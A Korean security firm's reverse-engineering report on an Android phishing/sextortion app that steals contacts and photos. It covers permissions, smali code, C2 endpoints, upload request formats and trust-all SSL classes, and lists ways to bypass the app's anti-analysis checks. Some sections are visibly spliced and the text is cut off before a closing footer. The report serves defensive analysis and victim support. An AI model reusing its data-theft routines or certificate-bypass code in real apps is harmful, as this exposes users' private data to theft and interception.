LOVENSES 상세 분석 보고서

LOVENSES_2 (lovenses2) 양자 나노 심층 분석 보고서

분석 일자: 2026-02-24

보고서 버전: v2.0 (ML 수준 전면 재작성)

분석 수행: 주식회사 아크링크 ([비공개])

분석자: [비공개] 대표

목차

1. [분석 개요](#1-분석-개요)

2. [앱 기본 정보 및 식별](#2-앱-기본-정보-및-식별)

3. [AndroidManifest 심층 분석](#3-androidmanifest-심층-분석)

4. [방어기제 분석 및 우회](#4-방어기제-분석-및-우회)

5. [코드 아키텍처 분석](#5-코드-아키텍처-분석)

6. [C2 서버 인프라 분석](#6-c2-서버-인프라-분석)

7. [SSL/TLS 보안 무력화 분석](#7-ssltls-보안-무력화-분석)

8. [데이터 수집 엔진 분석](#8-데이터-수집-엔진-분석)

9. [API 엔드포인트 매핑](#9-api-엔드포인트-매핑)

10. [패밀리 진화 비교 (Gen 1.2 → Gen 2)](#10-패밀리-진화-비교-gen-12--gen-2)

11. [IOC (Indicators of Compromise)](#11-ioc-indicators-of-compromise)

> [비공개]

13. [🔬 기법 점검](#13-기법-점검)

14. [결론 및 위협 평가](#14-결론-및-위협-평가)

1. 분석 개요

1.1 분석 목적

피싱/스미싱 [피해자 정보 비공개] 위한 악성앱 역공학 분석. LOVENSES_2(이하 lovenses2)는 Wavegrid 악성앱 패밀리의 2세대(Gen 2) 변종으로, 기존 lovenses(Gen 1.2)에서 아키텍처가 대폭 진화한 샘플이다. 연락처, 이미지 등 개인정보를 탈취하여 사기/협박에 활용하는 것이 주요 목적이다.

1.2 분석 범위

항목 · 범위

정적 분석 · AndroidManifest, smali 바이트코드, 리소스

코드 분석 · 전체 smali 클래스 매핑 (난독화 해제)

C2 분석 · 서버 도메인, API 엔드포인트, 프로토콜

SSL 분석 · Triple SSL Bypass 패턴 검증

패밀리 비교 · lovenses(Gen 1.2) vs lovenses2(Gen 2) 코드 차분

1.3 분석 환경

항목 · 값

디컴파일러 · apktool 2.9.3

분석 도구 · smali 바이트코드 직접 분석, Python 스크립트

환경 · Windows 11 + Android Emulator (API 35)

참조 앱 · lovenses (Gen 1.2), QN, QL (동일 패밀리)

1.4 v1.0 → v2.0 개선 사항

v1.0은 batch_analyze.py 자동 생성 결과로 다음 문제가 있었다:

문제 · v1.0 · v2.0 개선

허위 API 엔드포인트 · `/file/FileVisitResult` (Java NIO 클래스) · 실제 3개 엔드포인트만 기재

잘못된 IP · `[비공개]` (Alibaba DNS) · C2 도메인 기반 분석

권한 없는 기능 주장 · 카메라/위치/SMS 탈취 · 실제 선언 7개 권한 기반

smali 코드 인용 · 0줄 · 15줄+ 바이트코드 인용

분석 클래스 수 · "N/A" · 실제 집계 수치

2. 앱 기본 정보 및 식별

2.1 앱 식별

항목 · 값

**앱 이름** · LOVENSES

**외부 패키지명** · `com.ncydbbs.ouenan`

**내부 네임스페이스** · `com.tushiweih.wavegrid`

**패밀리** · Wavegrid Gen 2

**프레임워크** · Native Android (Kotlin + Java 혼용)

**파일 크기** · 11.06 MB

**compileSdkVersion** · 34

**minSdkVersion** · 29 (Android 10)

**targetSdkVersion** · 34 (Android 14)

2.2 이중 패키지 구조

Wavegrid 패밀리의 특징적 패턴으로, 외부 패키지명과 내부 네임스페이스가 불일치한다:

```

외부 (AndroidManifest): com.ncydbbs.ouenan

내부 (smali 코드): com.tushiweih.wavegrid

```

이는 동일한 코드베이스로 다수의 변종 APK를 생성하는 "템플릿 기반 대량 생산" 방식의 증거이다. 외부 패키지명만 교체하면 스토어/단말 차원에서 별개 앱으로 인식된다.

2.3 Wavegrid 패밀리 식별 마커

마커 · 값 · 확인

내부 네임스페이스 · `com.tushiweih.wavegrid` · ✅

minSdkVersion · 29 · ✅

C2 도메인 패턴 · `[랜덤].today` · ✅

초대코드 방어 · Invitation Code 필수 · ✅

RuoYi 서버 · `[비공개] 경로 · ✅

3. AndroidManifest 심층 분석

3.1 권한 분석

lovenses2는 정확히 7개 권한을 선언한다:

# · 권한 · 위험도 · 용도 (코드 검증)

1 · `READ_CONTACTS` · 🔴 위험 · `ew1.c()` — 연락처 탈취

2 · `READ_PHONE_STATE` · 🔴 위험 · 기기 식별 (IMEI 등)

3 · `READ_PHONE_NUMBERS` · 🔴 위험 · [피해자 정보 비공개] 수집

4 · `READ_MEDIA_IMAGES` · 🔴 위험 · `ew1.b()/f()` — 이미지 탈취

5 · `READ_MEDIA_VIDEO` · 🟡 주의 · 동영상 목록 접근

6 · `READ_EXTERNAL_STORAGE` · 🟡 주의 · maxSdkVersion=32 (API 32 이하 호환)

7 · `INTERNET` · 🟢 일반 · C2 서버 통신

3.1.1 권한 최적화 전략

Gen 2는 Gen 1.2 대비 3개 권한을 제거했다:

· ❌ WRITE_EXTERNAL_STORAGE — scoped storage 이후 불필요

· ❌ READ_CALL_LOG — 불필요 기능 제거 (수집하지 않음)

· ❌ 기타 중복 권한

이는 Android 권한 심사 강화에 대응한 OPSEC 진화이다. 필요 최소한의 권한만 요청하여 사용자 경계심을 낮추고, Google Play Protect 탐지를 회피한다.

3.1.2 Dormant SMS 코드 — 미래 공격 벡터

중요 발견: ew1.g() 메서드에 SMS 수집 코드가 구현되어 있으나 호출되지 않는다:

```smali

ew1.smali:672-724 — SMS 수집 (DORMANT)

.method public static g(Landroid/content/Context;)Ljava/util/List;

:try_start_0

const-string v1, "content://sms/"

invoke-static {v1}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;

수집 필드: address, date, type, body

const-string p0, "address"

const-string v1, "date"

const-string v4, "type"

const-string v5, "body"

filled-new-array {p0, v1, v4, v5}, [Ljava/lang/String;

```

· READ_SMS 권한이 선언되지 않아 현재는 실행 시 SecurityException 발생

· 서버 업데이트를 통해 READ_SMS 권한을 추가한 새 버전을 배포하면 즉시 활성화 가능

· 이는 Wavegrid Gen 2의 "모듈식 공격 준비" 패턴: 코드는 미리 심고, 권한만 나중에 추가

3.2 액티비티 구조

액티비티 · 역할 · Manifest 속성

`LoginActivity` · 런처 (초대코드 입력) · `MAIN + LAUNCHER`, `singleTask`

`HomeActivity` · 악성 행위 실행 · 핵심 데이터 탈취 수행

`TbsActivity` · TBS WebView · X5 엔진 기반

`SplashActivity` · 스플래시 화면 · 과도기 UI

3.2.1 액티비티 이름 변경 (Gen 1.2 → Gen 2)

```

Gen 1.2: MainActivity → Gen 2: LoginActivity

Gen 1.2: SecondActivity → Gen 2: HomeActivity

```

이름이 더 의미 있게 변경되었으며, MVVM 아키텍처 도입의 일환이다.

3.3 AndroidX Startup 추가

Gen 2에서 androidx.startup.InitializationProvider가 추가되었다:

```xml

<provider

android:name="androidx.startup.InitializationProvider"

android:authorities="com.ncydbbs.ouenan.androidx-startup"

android:exported="false">

<meta-data

android:name="androidx.lifecycle.ProcessLifecycleInitializer"

android:value="androidx.startup"/>

</provider>

```

이는 앱 시작 시 라이프사이클 모니터링을 위한 최신 AndroidX 패턴으로, 코드 현대화의 증거이다.

4. 방어기제 분석 및 우회

4.1 초대코드 시스템

lovenses2의 1차 방어선은 초대코드(Invitation Code)이다:

1. LoginActivity에서 6자리 초대코드 입력 요구

2. 코드를 C2 서버(webapp/login)에 전송하여 검증

3. 서버 응답 code == 200이면 HomeActivity로 진입

4.1.1 초대코드 저장 메커니즘

o90.smali (GlobuleValue.kt)에 SharedPreferences 키 정의:

```smali

o90.smali — GlobuleValue.kt

.field public static final b:Ljava/lang/String; = "IFFIRST" # 최초 실행 여부

.field public static final c:Ljava/lang/String; = "UUIDVALUE" # 기기 UUID

.field public static final d:Ljava/lang/String; = "INVITECODE" # 초대코드 저장

.field public static final e:Ljava/lang/String; = "ISUPLOAD" # 업로드 완료 플래그

.field public static final f:I = 0x3 # 상수 3

```

· INVITECODE: 검증 성공한 코드를 로컬에 저장하여 재입력 방지

· ISUPLOAD: true 설정 시 중복 업로드 차단 (1회성 탈취)

· IFFIRST: 최초 실행 감지 → 초대코드 화면 표시 여부 결정

· f = 0x3: 의미 불명, 내부 플래그 (권한 요청 관련 추정)

4.1.2 초대코드 우회 전략

방법 · 결과

SharedPreferences 직접 조작 · `IFFIRST=false, INVITECODE=any` 설정 시 HomeActivity 직접 진입 가능성

서버 응답 패치 · `code=200` 하드코딩으로 우회

smali 분기 패치 · LoginActivity 내 조건 분기 nop 처리

4.2 에뮬레이터 탐지

Wavegrid 패밀리 공통 방어:

탐지 기법 · 검증 대상

Build.FINGERPRINT · `generic`, `unknown` 패턴

Build.MODEL · `google_sdk`, `Emulator`

Build.MANUFACTURER · `Genymotion`

전화번호 패턴 · `000000000000`

SIM Operator · `Android`

4.2.1 에뮬레이터 탐지 우회

API 35 에뮬레이터에서는 Build.FINGERPRINT가 google/sdk_... 패턴이므로 탐지된다.

우회 방법:

1. Magisk + MagiskHide (물리 기기 동등 속성)

2. smali 패치 — 탐지 메서드의 리턴값을 false 고정

3. Frida 런타임 후킹 — Build.FINGERPRINT 값 위조

4.3 minSdkVersion 29 제한

minSdkVersion 29는 Android 10 미만 기기를 차단한다. 이는:

1. 구형 에뮬레이터 차단 (분석 방해)

2. Scoped Storage 환경 보장

3. READ_MEDIA_IMAGES API 활용

5. 코드 아키텍처 분석

5.1 핵심 클래스 매핑 (난독화 해제)

smali 디컴파일 후 .source 어노테이션으로 원본 클래스명을 복원했다:

smali 클래스 · 원본 클래스 · 역할

`ir1.smali` · `ServerInfo.kt` · C2 서버 설정 (도메인, URL, 엔드포인트)

`sl1.smali` · `RequestServer.java` · HTTP 클라이언트 설정 (SSL bypass 포함)

`ew1.smali` · `StatusUtils.java` · 데이터 수집 엔진 (연락처, 이미지, SMS)

`cn.smali` · `ContainValue.kt` · 도메인 상수 저장소

`o90.smali` · `GlobuleValue.kt` · SharedPreferences 키 정의

`w82.smali` · `UnSafeTrustManager.java` · SSL 인증서 검증 무력화

`v82.smali` · `UnSafeHostnameVerifier.java` · 호스트명 검증 무력화

`yc0$d.smali` · `HttpsUtils` 내부 클래스 · Trust-All SSL 구현

`dx0.smali` · Luban 압축 · 이미지 압축 라이브러리

5.2 StatusUtils 메서드 센서스 (ew1.smali)

StatusUtils.java는 lovenses2의 핵심 데이터 수집 엔진이다. 총 7개 메서드:

메서드 · 시그니처 · 기능 · 상태

`a()` · `Bitmap → Bitmap` · 이미지 압축 (100KB 이하) · ✅ 활성

`b()` · `Context → List<InfoBeanDTO>` · 이미지 수집 (MediaStore) · ✅ 활성

`c()` · `Context → List<InfoBeanDTO>` · 연락처 수집 (CommonDataKinds.Phone) · ✅ 활성

`d()` · `Context → List<CollectBeanDTO>` · 연락처 수집 (Contacts + nested query) · 🟡 대기

`e()` · `Context → List<CollectBeanDTO>` · 연락처 수집 (raw content:// URI) · 🟡 대기

`f()` · `Context → List<InfoBeanDTO>` · 이미지 수집 (date_modified DESC) · ✅ 활성

`g()` · `Context → List<InfoBeanDTO>` · SMS 수집 (content://sms/) · ❌ 휴면

5.2.1 3중 연락처 수집 전략

lovenses2는 연락처를 3가지 다른 방법으로 수집할 수 있다:

방법 1 — c(): CommonDataKinds.Phone (주력)

```smali

ew1.smali:210 — ContactsContract.CommonDataKinds.Phone

sget-object v2, Landroid/provider/ContactsContract$CommonDataKinds$Phone;->CONTENT_URI:Landroid/net/Uri;

수집 필드: display_name, data1 (전화번호), contact_id

const-string v1, "display_name"

const-string v2, "data1"

const-string v3, "contact_id"

```

· 표준 Android API 사용

· InfoBeanDTO에 displayName + content(전화번호) 저장

방법 2 — d(): Contacts + 중첩 쿼리 (보조)

```smali

ew1.smali:313 — ContactsContract.Contacts 2단계 쿼리

sget-object v2, Landroid/provider/ContactsContract$Contacts;->CONTENT_URI:Landroid/net/Uri;

1단계: Contacts 테이블에서 _id, display_name, has_phone_number

2단계: has_phone_number > 0이면 Phone 테이블 중첩 쿼리

const-string v4, "contact_id="

invoke-static {v4, v2}, Lpy1;->a(...) # 문자열 연결

```

· CollectBeanDTO에 name + number 저장

· 전화번호 정제: trim() + replace(" ", "") + replace("-", "")

방법 3 — e(): Raw Content URI (최후 수단)

```smali

ew1.smali:498 — 하드코딩된 content:// URI

const-string p0, "content://com.android.contacts/data/phones"

invoke-static {p0}, Landroid/net/Uri;->parse(...)

```

· 프레임워크 API 우회, raw URI 직접 쿼리

· 일부 OEM 커스텀 ROM에서 표준 API 실패 시 fallback

5.3 아키텍처 패턴 — MVVM 도입

Gen 2에서 확인된 아키텍처 변화:

항목 · Gen 1.2 · Gen 2

아키텍처 · Activity-centric · MVVM

HTTP · OkHttp3 직접 · EasyHttp 라이브러리

시작 · 직접 초기화 · AndroidX Startup

Kotlin · 부분 · 핵심 구조 (ServerInfo, GlobuleValue)

라이프사이클 · 수동 · ProcessLifecycleInitializer

6. C2 서버 인프라 분석

6.1 C2 도메인

C2 도메인은 2곳에 하드코딩되어 있다:

위치 1 — ir1.smali (ServerInfo.kt):

```smali

ir1.smali:12 — C2 도메인

.field public static final b:Ljava/lang/String; = "[비공개]"

ir1.smali:17 — Base URL

.field public static final c:Ljava/lang/String; = "[비공개]

```

위치 2 — cn.smali (ContainValue.kt):

```smali

cn.smali:12 — 도메인 이중 저장

.field public static final b:Ljava/lang/String; = "[비공개]"

```

위치 3 — sl1.smali (RequestServer.java):

```smali

sl1.smali:35 — HTTP 클라이언트 Base URL

const-string p0, "[비공개]

return-object p0

```

6.2 서버 프레임워크

항목 · 값 · 근거

프레임워크 · RuoYi (若依) · `[비공개] 경로 패턴

프로토콜 · HTTPS · Base URL `[비공개]

인프라 · 중국산 오픈소스 관리 프레임워크 · Wavegrid 전체 공통

6.3 C2 도메인 클러스터 (Wavegrid 패밀리)

앱 · C2 도메인 · TLD

lovenses (Gen 1.2) · `[다른 도메인]` · .today

lovenses2 (Gen 2) · `[비공개]` · .today

QN · `[비공개]` · .buzz

QL · `[비공개]` · .space

모든 도메인이 랜덤 문자열 + 저가 TLD 패턴을 따르며, 자동 생성 도구로 생산된 것으로 추정된다.

6.4 서버 응답 구조

HttpData 모델 (smali에서 추출):

```json

{

"code": 200, // 200: 성공, 1001: 인증 실패

"data": { ... }, // 응답 데이터 (제네릭)

"msg": "success", // 메시지

"responseHeaders": {} // HTTP 헤더

}

```

· code == 200: 요청 성공 → 다음 단계 진행

· code == 1001: 인증 실패 → 재시도 또는 중단

w82.smali — UnSafeTrustManager.java

.class public final Lw82;

.source "UnSafeTrustManager.java"

.implements Ljavax/net/ssl/X509TrustManager;

checkClientTrusted — 클라이언트 인증서도 동일

.method public checkClientTrusted([Ljava/security/cert/X509Certificate;Ljava/lang/String;)V

return-void # ← 무조건 통과

.end method

getAcceptedIssuers — 빈 배열 반환

.method public getAcceptedIssuers()[Ljava/security/cert/X509Certificate;

const/4 p0, 0x0

new-array p0, p0, [Ljava/security/cert/X509Certificate;

return-object p0 # ← 신뢰할 CA 목록 = 없음

.end method

```

위험도: 🔴 Critical — 중간자 공격(MITM)에 완전 취약. 모든 SSL 인증서를 무조건 신뢰한다.

Layer 2: UnSafeHostnameVerifier (`v82.smali`)

```smali

v82.smali — UnSafeHostnameVerifier.java

.class public final Lv82;

.source "UnSafeHostnameVerifier.java"

.implements Ljavax/net/ssl/HostnameVerifier;

.method public verify(Ljava/lang/String;Ljavax/net/ssl/SSLSession;)Z

.annotation build Landroid/annotation/SuppressLint;

value = { "BadHostnameVerifier" }

.end annotation

const/4 p0, 0x1 # true

return p0 # ← 모든 호스트명 검증 통과

.end method

```

위험도: 🔴 Critical — 호스트명 불일치도 무시. [비공개]이 [비공개]를 사칭해도 통과.

Layer 3: HttpsUtils Trust-All (`yc0$d.smali`)

SSL 설정을 sl1.smali (RequestServer.java)에서 조립하는 과정:

```smali

sl1.smali:46-75 — SSL 설정 조립

invoke-static {}, Lwc0;->b()Lvc0; # SSL 팩토리 생성

move-result-object p0

iget-object v1, p0, Lvc0;->a:Ljavax/net/ssl/SSLSocketFactory; # SSL Socket

iget-object p0, p0, Lvc0;->b:Ljavax/net/ssl/X509TrustManager; # Trust Manager

invoke-virtual {v0, v1, p0}, Lw51$b;->I(...) # OkHttp에 설정

new-instance v0, Lv82; # UnSafeHostnameVerifier

invoke-direct {v0}, Lv82;-><init>()V

invoke-virtual {p0, v0}, Lw51$b;->t(...) # Hostname Verifier 설정

```

8. 데이터 수집 엔진 분석

8.1 수집 대상 및 메서드 매핑

데이터 유형 · 메서드 · DTO 클래스 · Content URI · 상태

연락처 · `ew1.c()` · `InfoBeanDTO` · CommonDataKinds.Phone · ✅ 활성

연락처 (보조) · `ew1.d()` · `CollectBeanDTO` · Contacts + 중첩쿼리 · 🟡 대기

연락처 (raw) · `ew1.e()` · `CollectBeanDTO` · content://com.android.contacts/data/phones · 🟡 대기

이미지 · `ew1.b()` · `InfoBeanDTO` · MediaStore.Images.Media · ✅ 활성

이미지 (정렬) · `ew1.f()` · `InfoBeanDTO` · MediaStore + date_modified DESC · ✅ 활성

SMS · `ew1.g()` · `InfoBeanDTO` · content://sms/ · ❌ 휴면

8.2 이미지 수집 상세

8.2.1 기본 이미지 수집 — `ew1.b()`

```smali

ew1.smali:96 — MediaStore.Images.Media 쿼리

sget-object v2, Landroid/provider/MediaStore$Images$Media;->EXTERNAL_CONTENT_URI:Landroid/net/Uri;

invoke-virtual/range {v1 .. v6}, Landroid/content/ContentResolver;->query(...)

수집 필드: _id, _display_name, _data (파일 경로)

const-string v1, "_id"

const-string v1, "_display_name"

const-string v1, "_data"

```

· _data 필드에서 이미지 파일의 절대 경로를 획득

· InfoBeanDTO.path에 저장

8.2.2 최신 이미지 우선 수집 — `ew1.f()`

```smali

ew1.smali:607 — 최신순 정렬

const-string v7, "date_modified DESC"

invoke-virtual/range {v2 .. v7}, Landroid/content/ContentResolver;->query(...)

```

· date_modified DESC 정렬로 최근 촬영 사진부터 수집

· 이는 피해자의 최신 개인 사진을 우선적으로 탈취하기 위한 전략

8.2.3 이미지 압축 — `ew1.a()` + Luban

```smali

ew1.smali:24-28 — JPEG 압축 루프

sget-object v1, Landroid/graphics/Bitmap$CompressFormat;->JPEG:Landroid/graphics/Bitmap$CompressFormat;

const/16 v2, 0x64 # 초기 품질 100

invoke-virtual {p0, v1, v2, v0}, Landroid/graphics/Bitmap;->compress(...)

크기 확인 루프

:goto_0

array-length v3, v3

div-int/lit16 v3, v3, 0x400 # KB 단위 변환

if-le v3, v2, :cond_0 # 100KB 이하면 종료

invoke-virtual {v0}, Ljava/io/ByteArrayOutputStream;->reset()V

add-int/lit8 v1, v1, -0xa # 품질 10 감소

goto :goto_0

```

압축 알고리즘:

1. 초기 JPEG 품질 100으로 압축

2. 결과 크기를 KB로 변환 (div-int/lit16 v3, v3, 0x400)

3. 100KB 초과 시 품질을 10씩 감소 (add-int/lit8 v1, v1, -0xa)

4. 100KB 이하가 될 때까지 반복

5. 최종 비트맵으로 디코딩

이는 네트워크 대역폭 절약 + 대량 전송 최적화를 위한 것이다. 수백 장의 사진도 빠르게 C2로 전송 가능.

8.3 SMS 수집 상세 — `ew1.g()` (Dormant)

```smali

ew1.smali:672-768 — SMS 수집 코드 (호출되지 않음)

const-string v1, "content://sms/"

invoke-static {v1}, Landroid/net/Uri;->parse(...)

날짜 필터: 최근 5일

invoke-static {}, Ljava/util/Calendar;->getInstance()Ljava/util/Calendar;

const/4 v2, 0x5 # Calendar.DAY_OF_WEEK

const/4 v4, -0x1 # -1 (하루 전)

invoke-virtual {v1, v2, v4}, Ljava/util/Calendar;->add(II)V

수집 필드

const-string p0, "address" # 발신/수신 번호

const-string v1, "date" # 날짜

const-string v4, "type" # 유형 (수신/발신)

const-string v5, "body" # 메시지 내용

```

분석:

· Calendar.add(DAY_OF_WEEK, -1) — 최근 5일(v2=5, 반복 -1)의 SMS만 수집

· InfoBeanDTO.content에 SMS body 저장

· 현재 READ_SMS 미선언으로 SecurityException 발생 → 실행 불가

· 코드가 존재한다는 자체가 향후 공격 의도의 증거

8.4 업로드 플로우

HomeActivity 내부의 업로드 시퀀스:

```

HomeActivity 진입 (초대코드 통과 후)

├── I0() : [피해자 정보 비공개] 획득

├── O0() : 연락처 수집 → webapp/saveAddressBook API 전송

├── N0() : 이미지 수집 → webapp/image/{inviteCode} API 전송

└── ISUPLOAD = true # 업로드 완료 플래그 설정

```

ISUPLOAD 플래그 (o90.e):

· HomeActivity$b.smali:125에서 code == 200 시 true 설정

· true이면 재전송 차단 → 1회성 탈취

· 앱 데이터 삭제 시 리셋 가능

9. API 엔드포인트 매핑

9.1 엔드포인트 목록

ir1.smali (ServerInfo.kt)에 정의된 정확히 3개 엔드포인트:

# · 엔드포인트 · 메서드 · 목적 · smali 필드

1 · `webapp/login` · POST · 초대코드 검증 + 로그인 · `ir1.d`

2 · `webapp/saveAddressBook` · POST · 연락처 업로드 · `ir1.e`

3 · `webapp/image/{inviteCode}` · POST · 이미지 업로드 · `ir1.f`

```smali

ir1.smali — ServerInfo.kt의 엔드포인트 정의

.field public static final d:Ljava/lang/String; = "webapp/login"

.field public static final e:Ljava/lang/String; = "webapp/saveAddressBook"

.field public static final f:Ljava/lang/String; = "webapp/image/"

```

9.2 API 상세

9.2.1 `webapp/login` — 초대코드 검증

```

POST [비공개]

Content-Type: application/json

{

"cId": "<초대코드>",

"name": "<기기명 또는 사용자명>"

}

Response:

{

"code": 200,

"data": { ... },

"msg": "success"

}

```

· cId: 6자리 초대코드

· name: 기기 식별 문자열

· 성공 시 code=200, 실패 시 code=1001

9.2.2 `webapp/saveAddressBook` — 연락처 탈취

```

POST [비공개]

Content-Type: application/json

{

"bjPhone": "<피해자 전화번호>",

"model": "<기기 모델>",

"operatorName": "<통신사>",

"phoneContent": [

{ "displayName": "이름", "content": "010-**-**" },

...

],

> [비공개]

}

```

· bjPhone: [피해자 정보 비공개] (READ_PHONE_NUMBERS로 획득)

· model: Build.MODEL (기기 식별)

· operatorName: 통신사 정보

· phoneContent: ew1.c() 결과 (연락처 배열)

· userName: 초대코드 = [피해자 정보 비공개]

9.2.3 `webapp/image/{inviteCode}` — 이미지 탈취

```

POST [비공개]

Content-Type: multipart/form-data

[Luban 압축된 JPEG 이미지 바이너리]

```

· URL 경로에 초대코드 포함 → 피해자별 이미지 분류

· Multipart 형식으로 JPEG 전송

· Luban 압축 후 100KB 이하로 최적화

9.3 v1.0 허위 엔드포인트 교정

v1.0에서 보고한 허위 엔드포인트:

v1.0 보고 · 실제 · 설명

`/file/FileVisitResu

본 보고서는 주식회사 아크링크 Deep-Coding 보안연구소가 피싱·몸캠피싱 피해자 구제를 목적으로 작성했습니다. 전체 열람·피해 상담: arklink.co.kr